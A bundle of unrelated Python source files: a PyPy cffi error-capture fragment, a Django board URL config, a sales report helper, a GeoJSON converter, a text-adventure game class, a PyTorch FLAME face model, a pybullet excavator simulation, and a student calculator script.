    cffi_errorbox1 = rffi.llexternal("_cffi_errorbox1", [],
                                     rffi.INT, compilation_info=eci)
    cffi_errorbox = rffi.llexternal("_cffi_errorbox", [rffi.CCHARP],
                                    lltype.Void, compilation_info=eci)

    class Message:
        def __init__(self, space):
            self.space = space
            self.text_p = lltype.nullptr(rffi.CCHARP.TO)

        def start_error_capture(self):
            ok = cffi_errorbox1()
            if rffi.cast(lltype.Signed, ok) != 1:
                return None

            return self.space.appexec([], """():
                import sys
                class FileLike:
                    def write(self, x):
                        try:
                            of.write(x)
                        except:
                            pass
                        self.buf += x
                fl = FileLike()
                fl.buf = ''
                of = sys.stderr
                sys.stderr = fl
                def done():
                    sys.stderr = of
                    return fl.buf
                return done
            """)

        def stop_error_capture(self, w_done):
            if w_done is None:
                return

            w_text = self.space.call_function(w_done)
            p = rffi.str2charp(self.space.bytes_w(w_text),
                               track_allocation=False)
            if self.text_p:
                rffi.free_charp(self.text_p, track_allocation=False)
            self.text_p = p      # keepalive

            cffi_errorbox(p)

    @jit.dont_look_inside
    def start_error_capture(space):
        msg = space.fromcache(Message)
        return msg.start_error_capture()

    @jit.dont_look_inside
    def stop_error_capture(space, x):
        msg = space.fromcache(Message)
        msg.stop_error_capture(x)

else:
    def start_error_capture(space):
        return None
    def stop_error_capture(space, nothing):
        pass


from django.urls import path
from myproject.apps.board import views

urlpatterns = [
    # path('boards/', views.boards, name='all_boards'),
    path('boards/', views.BoardsView.as_view(), name='all_boards'),
    # topic
    path('board/<int:pk>/topics', views.topics, name='all_topics'),
    path('board/<int:pk>/topics/new', views.new_topic, name='new_topic'),
    # post
    path('board/<int:pk>/topic/<int:topic_pk>/posts', views.posts, name='all_posts'),
    path('board/<int:pk>/topic/<int:topic_pk>/posts/new', views.new_post, name='new_post'),
    # path('board/<int:pk>/topic/<int:topic_pk>/posts/edit',views.PostUpdateView.as_view())
    #     url(r'^board/(?P<pk>\d+)/topics/(?P<topic_pk>\d+)/posts/(?P<post_pk>\d+)/edit/$',
    #         boards_views.PostUpdateView.as_view(), name='edit_post'),

]


from .utils import display_table, read_sold, str_to_date

def show_sold(start_date, end_date):
	start_date, end_date = str_to_date(start_date), str_to_date(end_date)
	header, data = read_sold()

	sold_in_this_time = []
	for row in data:
		sold_date = str_to_date(row[-1])

		if start_date <= sold_date <= end_date:
			sold_in_this_time.append(row)

	title = f"Sold Products (from {start_date} to {end_date})"

	display_table(title, header, sold_in_this_time)


#!/bin/env python

import json
import helpers

if __name__ == '__main__':

	root_dir = helpers.root_dir()
	path = "%s/sources/counties.geojson" % root_dir

	print("loading %s" % path)
	file = open(path, 'rb')
	geojson = json.load(file)

	data = {}

	for feature in geojson["features"]:

		props = feature["properties"]
		geoid = props["GEOID"]
		name = props["NAME"]

		data[geoid] = name

	path = "%s/data/counties.json" % root_dir
	print("saving %s" % path)
	file = open(path, 'wb')
	json.dump(data, file, sort_keys=True)


import json

import gamestate
from enum import Enum
from typing import List, Dict
import city
import items
import time
from main_menu import GAME_WIDTH, dotted_line, empty_line, print_in_the_middle, print_left_indented, write_over, \
    go_up_and_clear, yes_no_selection, clear_screen, informScreen
from narration import narration, left_narration
import puzzles

class GameAction(gamestate.GameState):
    def __init__(self, game_state: gamestate.GameState):
        self.game_state = game_state

    @property
    # Get map_arr
    def map_arr(self) -> [city.District]:
        return self.game_state._map_arr

    # Set map_arr
    def set_map_arr(self, map_arr: [city.District]):
        self.game_state._map_arr = map_arr

    @property
    # Return turns remaining
    def turns_remaining(self) -> int:
        return self.game_state._turns_remaining

    # Decrement turns remaining
    def decrement_turns_remaining(self) -> None:
        self.game_state._turns_remaining -= 1

    @property
    # Return current location
    def current_location(self) -> str:
        return self.game_state._current_location

    # Check if lair has been discovered
    def lair_discovered(self) -> bool:
        return self.game_state._current_location == self.game_state._lair_location and self.game_state._vision_orb == True

    # Change location
    def change_location(self, new_location: str) -> int:
        valid_location = False

        new_location = new_location.lower()
        if new_location in gamestate.District.__members__:
            valid_location = True

        if valid_location:
            self.game_state._current_location = gamestate.District[new_location].name
            return 0
        else:
            return 1

    # Check legendary items collected
    def check_legendary(self) -> [str]:

        legendary_status = [None] * 4

        legend_list = [ (self.game_state._vision_orb, "Vision Orb"),
                        (self.game_state._strength_orb, "Strength Orb"),
                        (self.game_state._vitality_orb, "Vitality Orb"),
                        (self.game_state._magic_sword, "Magic Sword")       ]

        for i in range(len(legend_list)):
            if legend_list[i][0]:
                if self.check_inventory_by_name(legend_list[i][1]):
                    legendary_status[i] =   "On Hand"
                else:
                    legendary_status[i] =   "Found  "
            else:
                legendary_status[i] =       "Unknown"

        return legendary_status

    @property
    # Return inventory
    def current_inventory(self) -> List[items.Item]:
        return self.game_state._current_inventory

    # Check if there's space in inventory
    def space_in_inventory(self) -> bool:
        return len(self.current_inventory) < gamestate.MAX_INVENTORY

    # Add item to inventory
    def add_to_inventory(self, new_item: items.Item) -> int:
        valid_item = True

        if len(self.game_state._current_inventory) >= gamestate.MAX_INVENTORY:
            valid_item = False
        elif (True):  # TODO: validate item
            pass

        if valid_item:
            self.game_state._current_inventory.append(new_item)
            return 0
        else:
            return 1

    # Remove item from inventory
    def remove_from_inventory(self, item_to_remove: items.Item) -> int:
        if item_to_remove in self.game_state._current_inventory:
            self.game_state._current_inventory.remove(item_to_remove)
            return 0
        else:
            return 1

    # Check if item exists in inventory
    def check_inventory(self, item: items.Item) -> bool:
        if item in self.game_state._current_inventory:
            return True
        return False

    # Check if item exists in inventory by name
    def check_inventory_by_name(self, item_name: str) -> bool:
        for i in range(len(self.game_state._current_inventory)):
            if item_name == self.game_state._current_inventory[i].name:
                return True
        return False

    # Get item from inventory by name
    def get_item_from_inventory_by_name(self, item_name: str) -> items.Item:
        for item in self.game_state._current_inventory:
            if item.name.lower() == item_name.lower():
                return item

    # Remove item from inventory
    def remove_item_from_inventory(self, item: items.Item):
        self.game_state._current_inventory.remove(item)

    # Remove item from inventory by name
    def remove_item_from_inventory_by_name(self, item_name: str):
        item_index = None
        for i in range(len(self.game_state._current_inventory)):
            if self.game_state._current_inventory[i].name.lower() == item_name.lower():
                item_index = i
                break
        del self.game_state._current_inventory[item_index]

    # Get item from uncollected_legendary_items array by name
    def get_item_from_uncollected_legendary_items(self, item_name: str) -> items.Item:
        for item in self.game_state.uncollected_legendary_items:
            if item.name == item_name:
                return item

    # Remove item from uncollected_legendary_items array by name
    def remove_item_from_uncollected_legendary_items(self, item_name: str):
        item_index = None
        for i in range(len(self.game_state.uncollected_legendary_items)):
            if self.game_state.uncollected_legendary_items[i].name == item_name:
                item_index = i
                break
        del self.game_state.uncollected_legendary_items[item_index]

    @property
    # Return obtained clues in an ascending order by clue_id
    def obtained_clues(self) -> [str]:
        return self.game_state._obtained_clues

    # Add clue to obtained clues
    def add_to_obtained_clues(self, clue_text: str):
        self.game_state._obtained_clues.append(clue_text)

    # Check if district has been visited
    def check_visited(self, district_name: str) -> bool:
        district_name = district_name.lower()

        if district_name in gamestate.District.__members__:
            proper_name = gamestate.District[district_name].name

            return self.game_state._visited[proper_name]
        else:
            raise ValueError("A bad district_name was supplied.")

    # Change district to visited
    def change_visited(self, district_name: str) -> int:
        district_name = district_name.lower()
        if district_name in gamestate.District.__members__:
            proper_name = gamestate.District[district_name].name
            self.game_state._visited[proper_name] = True
            return 0
        else:
            return 1

    def enter_lair_confirmation(self) -> int:
        msg1 = "Are you sure you want to continue into the Lair?"
        msg2 = "Once you've entered, there's no going back!"

        clear_screen()
        dotted_line(GAME_WIDTH)
        empty_line(1)
        print_in_the_middle(GAME_WIDTH, msg1)
        print_in_the_middle(GAME_WIDTH, msg2)
        empty_line(1)
        dotted_line(GAME_WIDTH)

        selection = yes_no_selection(input("Yes/No >>> "))
        return selection

    def narration_screen(self, narr):
        clear_screen()
        dotted_line(GAME_WIDTH)
        empty_line(2)
        narration(narr, GAME_WIDTH)
        empty_line(2)
        dotted_line(GAME_WIDTH)
        input("Press [Enter] to continue...")
        clear_screen()

    # Dr. Crime's lair final game sequence
    def final_game_sequence(self) -> str:
        number_of_tries = 8
        story1 = "You've entered the lair and encountered Dr. Crime. There are " + str(len(self.game_state.boss_puzzles))+ " puzzles " \
                    "you must solve. You must answer all puzzles correctly in order to defeat Dr. Crime and win the game. " \
                    "And you are only be allowed " + str(number_of_tries) + " wrong answer tries."
        wrong_narr = "Dr. Crime says, 'You are foolish to think you can outsmart me.'"

        right1 = "Dr. Crime says, 'That was a lucky guess. Let's see how you do on this next one.'"
        right2 = "Dr. Crime says, 'Well, you're smarter than you look. Fine, you won't be able to solve this next one.'"
        right3 = "Dr. Crime says, 'Arghhhh, who do you think you are?! You most definitely will not get this next one.'"
        right4 = "As you raise up your Magic Sword, Dr. Crime's eyes glisten with fear. You quickly drop the sword, letting" \
                 " the weight cut Dr. Crime. You rest easy knowing Dr. Crime can no longer poison the city."

        # Check all legendary items are in user's inventory to allow user to proceed
        legendary_items_status = self.check_legendary()
        for status in legendary_items_status:
            if status != "On Hand":
                informScreen("You need all 4 Legendary items in your inventory to proceed!")
                return ""

        # Check if user wishes to proceed
        if self.enter_lair_confirmation() == 2: # User chooses 'no'
            return ""

        # Play all boss puzzles
        self.narration_screen(story1)
        status, number_of_tries = self.game_state.boss_puzzles[0].play_boss_puzzle(number_of_tries)
        if status == False:
            self.narration_screen(wrong_narr)
            return "losegame"

        self.narration_screen(right1)
        status, number_of_tries = self.game_state.boss_puzzles[1].play_boss_puzzle(number_of_tries)
        if status == False:
            self.narration_screen(wrong_narr)
            return "losegame"

        self.narration_screen(right2)
        status, number_of_tries = self.game_state.boss_puzzles[2].play_boss_puzzle(number_of_tries)
        if status == False:
            self.narration_screen(wrong_narr)
            return "losegame"

        self.narration_screen(right3)
        status, number_of_tries = self.game_state.boss_puzzles[3].play_boss_puzzle(number_of_tries)
        if status == False:
            self.narration_screen(wrong_narr)
            return "losegame"

        self.narration_screen(right4)
        return "wingame"


import os
import pickle

import numpy as np
# Modified from smplx code for FLAME
import torch
import torch.nn as nn
import torch.nn.functional as F
from pytorch3d.transforms import rotation_6d_to_matrix, matrix_to_rotation_6d
from skimage.io import imread
from loguru import logger

from flame.lbs import lbs

I = matrix_to_rotation_6d(torch.eye(3)[None].cuda())

def to_tensor(array, dtype=torch.float32):
    if 'torch.tensor' not in str(type(array)):
        return torch.tensor(array, dtype=dtype)

def to_np(array, dtype=np.float32):
    if 'scipy.sparse' in str(type(array)):
        array = array.todense()
    return np.array(array, dtype=dtype)

class Struct(object):
    def __init__(self, **kwargs):
        for key, val in kwargs.items():
            setattr(self, key, val)

def rot_mat_to_euler(rot_mats):
    # Calculates rotation matrix to euler angles
    # Careful for extreme cases of eular angles like [0.0, pi, 0.0]

    sy = torch.sqrt(rot_mats[:, 0, 0] * rot_mats[:, 0, 0] +
                    rot_mats[:, 1, 0] * rot_mats[:, 1, 0])
    return torch.atan2(-rot_mats[:, 2, 0], sy)

class FLAME(nn.Module):
    """
    borrowed from https://github.com/soubhiksanyal/FLAME_PyTorch/blob/master/FLAME.py
    Given FLAME parameters for shape, pose, and expression, this class generates a differentiable FLAME function
    which outputs the a mesh and 2D/3D facial landmarks
    """

    def __init__(self, config):
        super(FLAME, self).__init__()
        logger.info(f"[FLAME] Creating the 3DMM from {config.flame_geom_path}")
        with open(config.flame_geom_path, 'rb') as f:
            ss = pickle.load(f, encoding='latin1')
            flame_model = Struct(**ss)

        self.dtype = torch.float32
        self.register_buffer('faces', to_tensor(to_np(flame_model.f, dtype=np.int64), dtype=torch.long))
        # The vertices of the template model
        self.register_buffer('v_template', to_tensor(to_np(flame_model.v_template), dtype=self.dtype))
        # The shape components and expression
        shapedirs = to_tensor(to_np(flame_model.shapedirs), dtype=self.dtype)
        shapedirs = torch.cat([shapedirs[:, :, :config.num_shape_params], shapedirs[:, :, 300:300 + config.num_exp_params]], 2)
        self.register_buffer('shapedirs', shapedirs)
        # The pose components
        num_pose_basis = flame_model.posedirs.shape[-1]
        posedirs = np.reshape(flame_model.posedirs, [-1, num_pose_basis]).T
        self.register_buffer('posedirs', to_tensor(to_np(posedirs), dtype=self.dtype))
        #
        self.register_buffer('J_regressor', to_tensor(to_np(flame_model.J_regressor), dtype=self.dtype))
        parents = to_tensor(to_np(flame_model.kintree_table[0])).long();
        parents[0] = -1
        self.register_buffer('parents', parents)
        self.register_buffer('lbs_weights', to_tensor(to_np(flame_model.weights), dtype=self.dtype))

        self.register_buffer('l_eyelid', torch.from_numpy(np.load(f'{os.path.abspath(os.path.dirname(__file__))}/blendshapes/l_eyelid.npy')).to(self.dtype)[None])
        self.register_buffer('r_eyelid', torch.from_numpy(np.load(f'{os.path.abspath(os.path.dirname(__file__))}/blendshapes/r_eyelid.npy')).to(self.dtype)[None])

        # Register default parameters
        self._register_default_params('neck_pose_params', 6)
        self._register_default_params('jaw_pose_params', 6)
        self._register_default_params('eye_pose_params', 12)
        self._register_default_params('shape_params', config.num_shape_params)
        self._register_default_params('expression_params', config.num_exp_params)

        # Static and Dynamic Landmark embeddings for FLAME
        mediapipe_lmk_embedding = np.load('flame/mediapipe/mediapipe_landmark_embedding.npz', allow_pickle=True, encoding='latin1')
        lmk_embeddings = np.load(config.flame_lmk_path, allow_pickle=True, encoding='latin1')
        lmk_embeddings = lmk_embeddings[()]

        self.mediapipe_idx = mediapipe_lmk_embedding['landmark_indices'].astype(int)

        self.register_buffer('mp_lmk_faces_idx', torch.from_numpy(mediapipe_lmk_embedding['lmk_face_idx'].astype(int)).to(torch.int64))
        self.register_buffer('mp_lmk_bary_coords', torch.from_numpy(mediapipe_lmk_embedding['lmk_b_coords']).to(self.dtype).float())

        self.register_buffer('lmk_faces_idx', torch.from_numpy(lmk_embeddings['static_lmk_faces_idx'].astype(int)).to(torch.int64))
        self.register_buffer('lmk_bary_coords', torch.from_numpy(lmk_embeddings['static_lmk_bary_coords']).to(self.dtype).float())
        self.register_buffer('dynamic_lmk_faces_idx', torch.from_numpy(np.array(lmk_embeddings['dynamic_lmk_faces_idx']).astype(int)).to(torch.int64))
        self.register_buffer('dynamic_lmk_bary_coords', torch.from_numpy(np.array(lmk_embeddings['dynamic_lmk_bary_coords'])).to(self.dtype).float())

        neck_kin_chain = []
        NECK_IDX = 1
        curr_idx = torch.tensor(NECK_IDX, dtype=torch.long)
        while curr_idx != -1:
            neck_kin_chain.append(curr_idx)
            curr_idx = self.parents[curr_idx]
        self.register_buffer('neck_kin_chain', torch.stack(neck_kin_chain))

    def _find_dynamic_lmk_idx_and_bcoords(self, vertices, pose, dynamic_lmk_faces_idx,
                                          dynamic_lmk_b_coords,
                                          neck_kin_chain, cameras, dtype=torch.float32):
        """
            Selects the face contour depending on the reletive position of the head
            Input:
                vertices: N X num_of_vertices X 3
                pose: N X full pose
                dynamic_lmk_faces_idx: The list of contour face indexes
                dynamic_lmk_b_coords: The list of contour barycentric weights
                neck_kin_chain: The tree to consider for the relative rotation
                dtype: Data type
            return:
                The contour face indexes and the corresponding barycentric weights
        """

        batch_size = vertices.shape[0]

        aa_pose = torch.index_select(pose.view(batch_size, -1, 6), 1, neck_kin_chain)
        rot_mats = rotation_6d_to_matrix(aa_pose.view(-1, 6)).view([batch_size, -1, 3, 3])

        rel_rot_mat = torch.eye(3, device=vertices.device, dtype=dtype).unsqueeze_(dim=0).expand(batch_size, -1, -1)

        for idx in range(len(neck_kin_chain)):
            rel_rot_mat = torch.bmm(rot_mats[:, idx], rel_rot_mat)

        rel_rot_mat = cameras @ rel_rot_mat  # Cameras flips z and x, plus multiview needs different lmk sliding per view

        y_rot_angle = torch.round(torch.clamp(-rot_mat_to_euler(rel_rot_mat) * 180.0 / np.pi, max=39)).to(dtype=torch.long)
        neg_mask = y_rot_angle.lt(0).to(dtype=torch.long)
        mask = y_rot_angle.lt(-39).to(dtype=torch.long)
        neg_vals = mask * 78 + (1 - mask) * (39 - y_rot_angle)
        y_rot_angle = (neg_mask * neg_vals + (1 - neg_mask) * y_rot_angle)

        dyn_lmk_faces_idx = torch.index_select(dynamic_lmk_faces_idx, 0, y_rot_angle)
        dyn_lmk_b_coords = torch.index_select(dynamic_lmk_b_coords, 0, y_rot_angle)

        return dyn_lmk_faces_idx, dyn_lmk_b_coords

    def _vertices2landmarks(self, vertices, faces, lmk_faces_idx, lmk_bary_coords):
        """
            Calculates landmarks by barycentric interpolation
            Input:
                vertices: torch.tensor NxVx3, dtype = torch.float32
                    The tensor of input vertices
                faces: torch.tensor (N*F)x3, dtype = torch.long
                    The faces of the mesh
                lmk_faces_idx: torch.tensor N X L, dtype = torch.long
                    The tensor with the indices of the faces used to calculate the
                    landmarks.
                lmk_bary_coords: torch.tensor N X L X 3, dtype = torch.float32
                    The tensor of barycentric coordinates that are used to interpolate
                    the landmarks

            Returns:
                landmarks: torch.tensor NxLx3, dtype = torch.float32
                    The coordinates of the landmarks for each mesh in the batch
        """
        # Extract the indices of the vertices for each face
        # NxLx3
        batch_size, num_verts = vertices.shape[:2]
        device = vertices.device
        lmk_faces = torch.index_select(faces, 0, lmk_faces_idx.view(-1).to(torch.long)).view(batch_size, -1, 3)
        lmk_faces += torch.arange(batch_size, dtype=torch.long, device=device).view(-1, 1, 1) * num_verts
        lmk_vertices = vertices.view(-1, 3)[lmk_faces].view(batch_size, -1, 3, 3)
        landmarks = torch.einsum('blfi,blf->bli', [lmk_vertices, lmk_bary_coords])

        return landmarks

    def forward(self, shape_params, cameras, trans_params=None, rot_params=None, neck_pose_params=None, jaw_pose_params=None, eye_pose_params=None, expression_params=None, eyelid_params=None):

        """
            Input:
                trans_params: N X 3 global translation
                rot_params: N X 3 global rotation around the root joint of the kinematic tree (rotation is NOT around the origin!)
                neck_pose_params (optional): N X 3 rotation of the head vertices around the neck joint
                jaw_pose_params (optional): N X 3 rotation of the jaw
                eye_pose_params (optional): N X 6 rotations of left (parameters [0:3]) and right eyeball (parameters [3:6])
                shape_params (optional): N X number of shape parameters
                expression_params (optional): N X number of expression parameters
            return:d
                vertices: N X V X 3
                landmarks: N X number of landmarks X 3
        """
        batch_size = shape_params.shape[0]

        I = matrix_to_rotation_6d(torch.cat([torch.eye(3)[None]] * batch_size, dim=0).cuda())

        if trans_params is None:
            trans_params = torch.zeros(batch_size, 3).cuda()
        if rot_params is None:
            rot_params = I.clone()
        if neck_pose_params is None:
            neck_pose_params = I.clone()
        if jaw_pose_params is None:
            jaw_pose_params = I.clone()
        if eye_pose_params is None:
            eye_pose_params = torch.cat([I.clone()] * 2, dim=1)
        if shape_params is None:
            shape_params = self.shape_params.expand(batch_size, -1)
        if expression_params is None:
            expression_params = self.expression_params.expand(batch_size, -1)

        # Concatenate identity shape and expression parameters
        betas = torch.cat([shape_params, expression_params], dim=1)

        # The pose vector contains global rotation, and neck, jaw, and eyeball rotations
        full_pose = torch.cat([rot_params, neck_pose_params, jaw_pose_params, eye_pose_params], dim=1)

        # FLAME models shape and expression deformations as vertex offset from the mean face in 'zero pose', called v_template
        template_vertices = self.v_template.unsqueeze(0).expand(batch_size, -1, -1)

        # Use linear blendskinning to model pose roations
        vertices, _ = lbs(betas, full_pose, template_vertices,
                          self.shapedirs, self.posedirs,
                          self.J_regressor, self.parents,
                          self.lbs_weights, dtype=self.dtype)

        if eyelid_params is not None:
            vertices = vertices + self.r_eyelid.expand(batch_size, -1, -1) * eyelid_params[:, 1:2, None]
            vertices = vertices + self.l_eyelid.expand(batch_size, -1, -1) * eyelid_params[:, 0:1, None]

        lmk_faces_idx = self.lmk_faces_idx.unsqueeze(dim=0).expand(batch_size, -1).contiguous()
        lmk_bary_coords = self.lmk_bary_coords.unsqueeze(dim=0).expand(batch_size, -1, -1).contiguous()

        dyn_lmk_faces_idx, dyn_lmk_bary_coords = self._find_dynamic_lmk_idx_and_bcoords(
            vertices, full_pose, self.dynamic_lmk_faces_idx,
            self.dynamic_lmk_bary_coords,
            self.neck_kin_chain, cameras, dtype=self.dtype)

        lmk_faces_idx = torch.cat([dyn_lmk_faces_idx, lmk_faces_idx], 1)
        lmk_bary_coords = torch.cat([dyn_lmk_bary_coords, lmk_bary_coords], 1)

        lmk68 = self._vertices2landmarks(vertices, self.faces, lmk_faces_idx, lmk_bary_coords)

        mp_lmk_faces_idx = self.mp_lmk_faces_idx.unsqueeze(dim=0).expand(batch_size, -1).contiguous()
        mp_lmk_bary_coords = self.mp_lmk_bary_coords.unsqueeze(dim=0).expand(batch_size, -1, -1).contiguous()

        mp = self._vertices2landmarks(vertices, self.faces, mp_lmk_faces_idx, mp_lmk_bary_coords)

        vertices = vertices + trans_params.unsqueeze(dim=1)
        lmk68 = lmk68 + trans_params.unsqueeze(dim=1)
        mp = mp + trans_params.unsqueeze(dim=1)

        return vertices, lmk68, mp

    def _register_default_params(self, param_fname, dim):
        default_params = torch.zeros([1, dim], dtype=self.dtype, requires_grad=False)
        self.register_parameter(param_fname, nn.Parameter(default_params, requires_grad=False))

class FLAMETex(nn.Module):
    def __init__(self, config):
        super(FLAMETex, self).__init__()
        tex_space = np.load(config.tex_space_path)
        # FLAME texture
        if 'tex_dir' in tex_space.files:
            mu_key = 'mean'
            pc_key = 'tex_dir'
            n_pc = 200
            scale = 1
        # BFM to FLAME texture
        else:
            mu_key = 'MU'
            pc_key = 'PC'
            n_pc = 199
            scale = 255.0
        texture_mean = tex_space[mu_key].reshape(1, -1)
        texture_basis = tex_space[pc_key].reshape(-1, n_pc)
        n_tex = config.tex_params
        texture_mean = torch.from_numpy(texture_mean).float()[None, ...] * scale
        texture_basis = torch.from_numpy(texture_basis[:, :n_tex]).float()[None, ...] * scale
        self.texture = None
        self.register_buffer('texture_mean', texture_mean)
        self.register_buffer('texture_basis', texture_basis)
        self.image_size = config.image_size
        self.check_texture(config)

    def check_texture(self, config):
        path = os.path.join(config.actor, 'texture.png')
        if os.path.exists(path):
            self.texture = torch.from_numpy(imread(path)).permute(2, 0, 1).cuda()[None, 0:3, :, :] / 255.0

    def forward(self, texcode):
        if self.texture is not None:
            return F.interpolate(self.texture, self.image_size, mode='bilinear')
        texture = self.texture_mean + (self.texture_basis * texcode[:, None, :]).sum(-1)
        texture = texture.reshape(texcode.shape[0], 512, 512, 3).permute(0, 3, 1, 2)
        texture = F.interpolate(texture, self.image_size, mode='bilinear')
        texture = texture[:, [2, 1, 0], :, :]
        return texture / 255.


import pybullet as p
import time
import pybullet_data
import math
import numpy as np
physicsClient = p.connect(p.GUI)#or p.DIRECT for non-graphical version
p.setAdditionalSearchPath(pybullet_data.getDataPath()) #optionally
p.setGravity(0,0,-10)

planeId = p.loadURDF("plane.urdf")

startPos = [0, 0, 1.4054411813121799]
startOrientation = p.getQuaternionFromEuler([0,0,0])
boxId = p.loadURDF("aba_excavator/excavator.urdf",startPos, startOrientation)

for i in range(1000):
    p.setJointMotorControl2(boxId, 1 , p.VELOCITY_CONTROL, targetVelocity = 0)
    p.setJointMotorControl2(boxId, 2 , p.VELOCITY_CONTROL, targetVelocity = 0.4, force= 250_000)
    p.setJointMotorControl2(boxId, 3 , p.VELOCITY_CONTROL, targetVelocity = 0.1, force= 250_000)
    p.setJointMotorControl2(boxId, 4 , p.VELOCITY_CONTROL, targetVelocity = 0.1)
    # (linkWorldPosition,
    #         linkWorldOrientation,
    #         localInertialFramePosition,
    #         localInertialFrameOrientation,
    #         worldLinkFramePosition,
    #         worldLinkFrameOrientation,
    #         worldLinkLinearVelocity,
    #         worldLinkAngularVelocity) = p.getLinkState(boxId,4, computeLinkVelocity=1, computeForwardKinematics=1)
    # print(linkWorldPosition)
    p.stepSimulation()
    time.sleep(1.0/240.)
    theta0, theta1, theta2, theta3 = p.getJointStates(boxId, [1,2,3,4])
    print(theta0[0], theta1[0], theta2[0], theta3[0])
p.disconnect()


# I pledge my honor that I have abided by the Stevens Honor System. Andrew Ozsu

def main():
    print("For Mathematical Functions, Please Enter the Number 1")
    print("For String Operations, Please Enter the Number 2")
    x=int(input("Enter Value: "))
    if x==1:
        print ("For Addition, Please Enter the Number 1")
        print ("For Subtraction, Please Enter the Number 2")
        print ("For Multiplication, Please Enter the Number 3")
        print ("For Division, Please Enter the Number 4")
        y=int(input("Enter Value: "))
        if y==1:
            a=(input("Enter 2 numbers seperated by a comma: "))
            a=a.split(",")
            a[0]=int(a[0])
            a[1]=int(a[1])
            b=a[0]+a[1]
            return (b)
        if y==2:
            c=(input("Enter 2 numbers seperated by a comma: "))
            c=c.split(",")
            c[0]=int(c[0])
            c[1]=int(c[1])
            d=c[0]-c[1]
            return (d)
        if y==3:
            e=(input("Enter 2 numbers seperated by a comma: "))
            e=e.split(",")
            e[0]=int(e[0])
            e[1]=int(e[1])
            f=e[0]*e[1]
            return (f)
        if y==4:
            g=(input("Enter 2 numbers seperated by a comma: "))
            g=g.split(",")
            g[0]=int(g[0])
            g[1]=int(g[1])
            h=g[0]/g[1]
            return (h)
        else:
            return ("Invalid Input")

    elif x==2:
        print ("To Determine the Number of Vowels in a String; Enter the Number 1")
        print ("To Encrypt a String; Enter the Number 2")
        z= int(input("Enter Value: "))
        if z==1:
            q=input("Enter String: ")
            count=0
            for i in q:
                if i=="a":
                    count+=1
                if i=="e":
                    count+=1
                if i=="i":
                    count+=1
                if i=="o":
                    count+=1
                if i=="u":
                    count+=1
            return (count)
        if z==2:
            j=input("Enter String: ")
            for i in j:
                x=ord(i)
                print(" ",x-4, end = " ")
        else:
            return ("Invalid Input")

    else:
        print ("Invalid Input")